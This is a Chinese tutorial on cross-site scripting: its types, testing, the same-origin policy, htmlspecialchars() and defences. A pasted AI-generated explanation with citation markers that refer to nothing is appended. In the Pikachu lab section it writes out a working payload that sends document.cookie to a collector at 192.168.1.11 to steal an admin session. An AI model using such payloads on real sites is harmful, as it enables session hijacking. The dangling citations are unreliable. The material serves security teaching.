09.XSS跨站脚本攻击(超详细!!!)

1、什么是XSS

XSS(跨站脚本攻击):攻击者利用这个漏洞将恶意脚本注入到网页中,当其它用户浏览这些页面时,恶意脚本会在用户的浏览器中执行。XSS攻击允许攻击者在用户的浏览器上执行脚本,从而可能获取用户的敏感信息(如cookies)、篡改网页内容、重定向用户至恶意站点,甚至进行钓鱼攻击等。

2、漏洞产生的原因

XSS漏洞产生的原因主要是Web应用对用户输入的数据过滤和检查不严格,没有进行适当的处理(如编码或转义),导致攻击者能够注入恶意脚本,这些脚本在用户的浏览器中执行

3、XSS分类

XSS攻击主要分为以下几种类型:

反射型XSS(Non-Persistent XSS):这种攻击的特点是恶意脚本不是存储在服务器上,而是通过用户提供的数据作为参数嵌入到动态生成的网页链接中。当其他用户点击这个链接时,恶意脚本在他们的浏览器中执行。

存储型XSS(Persistent XSS):这种攻击类型中,恶意脚本被存储在服务器端,例如在数据库或服务器文件中。当其他用户访问存储了恶意脚本的页面时,脚本会被执行。

DOM Based XSS:这种类型的XSS攻击源于前端JavaScript对用户输入数据的不当处理,而不是来自服务器端响应。它利用的是浏览器的DOM环境,而不是HTML文档本身的漏洞。

3.1 反射型XSS(中危)

<?php
$name = $_GET['id'];
echo "Welcome $name<br>";
?>

在这里插入图片描述
在这段代码中程序接受id的值,并且输出,如果提交xss.php?id=,因为程序并没有进行XSS代码过滤,最终造成反射型XSS漏洞

3.2 存储型XSS(高危)

交互的数据会被存在在数据库里面,永久性存储,具有很强的稳定性

与反射型XSS相比,唯一的区别就是XSS代码被带入数据,在下次浏览时,又被读取出来使用

<script>alert(1)</script>

在这里插入图片描述

在这里插入图片描述

3.3 DOM XSS(低危)

不与后台服务器产生数据交互,通过前端的dom节点形成的XSS漏洞。

什么是DOM:DOM全称是Document Object Model,也就是文档对象模型。我们可以将DOM理解为,一个与系统平台和编程语言无关的接口,程序和脚本可以通过这个接口动态地访问和修改文档内容、结构和样式。当创建好一个页面并加载到浏览器时,DOM就悄然而生,它会把网页文档转换为一个文档对象,主要功能是处理网页内容。故可以使用 Javascript 语言来操作DOM以达到网页的目的。

<a href='"+str+"'>what do you see?</a>

<a href='#' onclick="alert(1111)">what do you see?</a>

<a href='#' onclick="alert(2222)">what do you see?</a>

在这里插入图片描述

4、XSS测试方法

1、工具扫描:APPscan、AWVS

2、手工测试:Burpsuite、firefox(hackbar)、XSSER XSSF

(1)在目标站点上找到输入点,比如查询接口,留言板等;
(2)输入一组"特殊字符+唯一识别字符",点击提交后,查看返回的源码,是否有做对应的处理;
(3)通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合);提交构造的脚本代码,看是否可以成功执行,如果成功执行则说明存在XSS漏洞;

5、XSS平台搭建及cookie获取

5.1 XSS平台搭建

进入pikachu靶场,点击【管理工具】=> 【XSS后台】

在这里插入图片描述

进入这个界面后,点击进行初始化安装

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

5.2 获取管理员cookies

登录pikachu页面,打开【XSS之盲打】,检查是否存在XSS注入

111'"><script>alert(1)</script>

在这里插入图片描述

注入后没有任何弹出的窗口,访问以下路径,登录管理员的后台看看

在这里插入图片描述

登录用户名和密码分别是admin和123456

在这里插入图片描述

发现登录进去之后会弹出我们刚才注入的信息

在这里插入图片描述

在这里插入图片描述

把pikachu中的pkxss目录复制一份到WWW目录下,然后修改C:\tools\phpstudy\WWW\pkxss\xcookie下的cookie.php文件,将IP地址改为192.168.1.11:90

在这里插入图片描述

通过下面的代码获取cookie

<script>document.location='http://192.168.1.11:90/pkxss/xcookie/cookie.php?cookie=' +document.cookie;</script>
//通过document.location 实例进行重定向

注入后提交

在这里插入图片描述

再登录到管理员后台,发现登录完成后会自动跳转到首页

在这里插入图片描述

在这里插入图片描述

这样就可以获取管理员的cookies

6、同源策略

6.1 什么是跨域

http:// www.   oldboyedu.com :80 /   news/index.php
协议    子域名    主域名       端口      资源地址

当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域。我们把不同的域之间请求数据的操作,成为跨域操作。

6.2 同源策略

**同源策略(Same-Origin Policy,简称SOP)**是一种浏览器安全机制,用于限制一个源(origin)的文档或脚本如何与另一个源的资源进行交互。这个策略的目的是防止恶意文档窃取数据或对另一个源进行恶意操作。

同源策略的主要限制包括:
① 数据访问限制:不同源的网页不能通过JavaScript读取或修改对方的DOM树和数据。
② Cookie和Session:浏览器在发送HTTP请求时,不会携带跨源的Cookie和Session信息。
③ Web Storage:localStorage和sessionStorage等Web存储API遵循同源策略,不同源的页面不能访问彼此的存储数据。
④ Web SQL和IndexedDB:这些客户端存储数据库API也受到同源策略的限制。
⑤ 跨源AJAX请求:通过XMLHttpRequest或Fetch API进行的AJAX请求默认情况下不能跨源请求数据,除非服务器端设置了适当的CORS(跨源资源共享)策略。

**Tips:**下面这些标签跨域加载资源(资源类型是有限止的)是不受同源策略限制的

<script src="...">  //加载本地js执行
<img src="...">  //图片
<link href="...">  //css
<iframe src="...">  //任意资源

7、绕过htmlspecialchars()函数

htmlspecialchars() 是PHP中用于转义HTML特殊字符的函数,确保输出的字符串可以安全地显示为纯文本,避免XSS(跨站脚本)攻击。这个函数将几个预定义的HTML字符转换为它们的HTML实体等价物:

& 转换为 &amp;
" 转换为 &quot;(双引号)
' 转换为 &#039;&apos;(单引号)
< 转换为 &lt;
> 转换为 &gt;

参数说明:
$string:需要转义的原始字符串。
$flags:指定转义的模式,可以是以下常量之一或组合:
ENT_COMPAT:默认值,转换<>"'&字符。
ENT_QUOTES:转换双引号和单引号。
ENT_NOQUOTES:不转换引号,只转换<>&。
ENT_HTML401:遵守HTML 4.01规范。
ENT_XML1:遵守XML 1规范。
ENT_XHTML:遵守XHTML规范。
ENT_HTML5:遵守HTML 5规范。
$encoding:指定字符编码。默认为UTF-8。
$double_encode:当设为true时,会连续转义现有的实体。如果设为false,不会对&等实体进行二次转义。

8、XSS防御

① 对用户输入进行严格的验证和过滤,使用白名单或黑名单方法。
② 对输出到页面的数据进行编码或转义,防止执行。
③ 实施内容安全策略(CSP),限制网页可以加载和执行的资源。
④ 设置HTTPOnly标志的Cookie,防止JavaScript访问。
⑤ 使用前端安全库进行DOM净化,防止基于DOM的XSS攻击。
⑥ 定期进行安全审计和代码审查,及时修复安全漏洞。

<think>好的,我现在需要帮助用户了解XSS攻击的原理和防护措施。首先,我得回忆一下XSS的基本概念,确保自己理解正确。XSS全称是跨站脚本攻击攻击者通过注入恶意脚本来在用户的浏览器上执行,从而窃取信息或进行其他恶意操作。根据用户提供的引用内容,XSS主要分为反射型、存储型和DOM型三种类型。 接下来,我需要整理这些攻击类型的区别。反射型XSS通常出现在URL参数中,比如用户点击一个恶意链接,服务器将恶意脚本返回给浏览器执行。存储型则是将恶意脚本存储在服务器上,比如评论区,当其他用户访问时触发。DOM型不经过服务器,完全在客户端处理,比如通过修改页面的DOM元素来执行脚本。 然后,防护措施方面,用户提供的引用提到了转义特殊字符、输入验证、使用HTTP头如Content-Security-Policy等。需要详细说明每个措施的具体实现方式,例如转义<、>、&等字符,使用安全的库来处理用户输入,设置CSP限制脚本来源等。 另外,用户的引用中有提到XSS的主要目的是获取cookie,因此防护措施中还应包括HttpOnly属性,防止通过JavaScript访问cookie。同时,提到的例子比如在动态页面中插入<script>标签,说明输出编码的重要性,确保用户输入的内容不会被浏览器解析为HTML或JS代码。 需要检查是否有遗漏的防护措施,比如输入过滤、输出编码、使用安全框架等。同时,是否需要举例说明攻击过程,比如用户输入一个评论包含<script>alert('XSS')</script>,如果没有转义,其他用户加载该评论时会执行这段脚本。 还要注意引用对应的来源,比如引用[3]提到转义符号,引用[5]提到CSP。确保每个防护措施都有对应的引用标注,保持回答的可信度。 最后,生成相关问题,可能需要包括XSS攻击的类型区别、具体防护技术的实现、实际案例分析,或者与其他攻击如CSRF的对比等。确保问题覆盖用户可能感兴趣的方面,帮助深入理解XSS攻击和防护。</think>### XSS攻击的原理与防护措施 #### 一、XSS攻击原理 XSS跨站脚本攻击)的核心是攻击者通过向网页中注入恶意脚本,使得其他用户的浏览器执行这些脚本,从而窃取敏感信息或进行其他恶意操作。其分类如下: 1. **反射型XSS** 攻击者构造包含恶意脚本的URL(例如通过邮件或钓鱼链接诱导用户点击)。服务器未对输入内容过滤,直接将脚本返回到用户浏览器执行。例如: ```url http://example.com/search?q=<script>alert('XSS')</script> ``` 若页面直接显示`q`参数内容且未转义,脚本将被执行[^2][^5]。 2. **存储型XSS** 恶意脚本被永久存储在服务器(如评论区、用户资料等)。当其他用户访问受影响页面时,脚本自动加载并执行。例如攻击者在留言中插入: ```html <script>stealCookie(document.cookie)</script> ``` 若未过滤此内容,所有查看该留言的用户均会触发脚本[^4]。 3. **DOM型XSS** 攻击通过修改页面的DOM结构触发,无需服务器参与。例如: ```javascript document.write(location.hash.substring(1)); ``` 若URL为`http://example.com#<script>malicious()</script>`,则脚本会被执行。 #### 二、XSS攻击的危害 - **窃取用户凭证**:通过`document.cookie`获取会话ID,冒充用户身份[^3]。 - **钓鱼攻击**:伪造登录表单诱导用户输入敏感信息。 - **篡改页面内容**:插入恶意广告或虚假信息。 #### 三、防护措施 1. **输入过滤与转义** - 对所有用户输入的特殊字符(如`<`, `>`, `&`, `"`)进行转义。例如将`<`转换为`<`[^5]。 - 使用安全的库(如OWASP ESAPI、DOMPurify)处理输入内容。 2. **输出编码** - 根据输出位置(HTML、JavaScript、CSS)采用不同的编码规则。例如在HTML中输出用户内容时使用`htmlspecialchars`函数。 3. **内容安全策略(CSP)** 通过HTTP头`Content-Security-Policy`限制脚本来源: ```http Content-Security-Policy: default-src 'self'; script-src 'self' trusted.com ``` 仅允许加载来自当前域名和`trusted.com`的脚本。 4. **设置Cookie属性** 添加`HttpOnly`标志防止JavaScript访问Cookie: ```http Set-Cookie: sessionID=abc123; HttpOnly; Secure ``` 结合`Secure`属性确保仅通过HTTPS传输。 5. **输入验证与白名单机制** - 对用户输入的数据类型、长度、格式进行严格校验(如邮箱格式)。 - 使用富文本时,仅允许特定HTML标签和属性(如`<strong>`,禁止`<script>`)[^3]。 #### 四、示例代码(防护前后对比) **漏洞代码(未防护):** ```html <!-- 直接输出用户输入 --> <div><%= userInput %></div> ``` 若`userInput`为`<script>alert('XSS')</script>`,脚本会被执行。 **修复后代码:** ```html <!-- 转义HTML标签 --> <div><%= escapeHTML(userInput) %></div> ``` 此时输出内容为`<script>alert('XSS')</script>`,浏览器仅显示文本。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值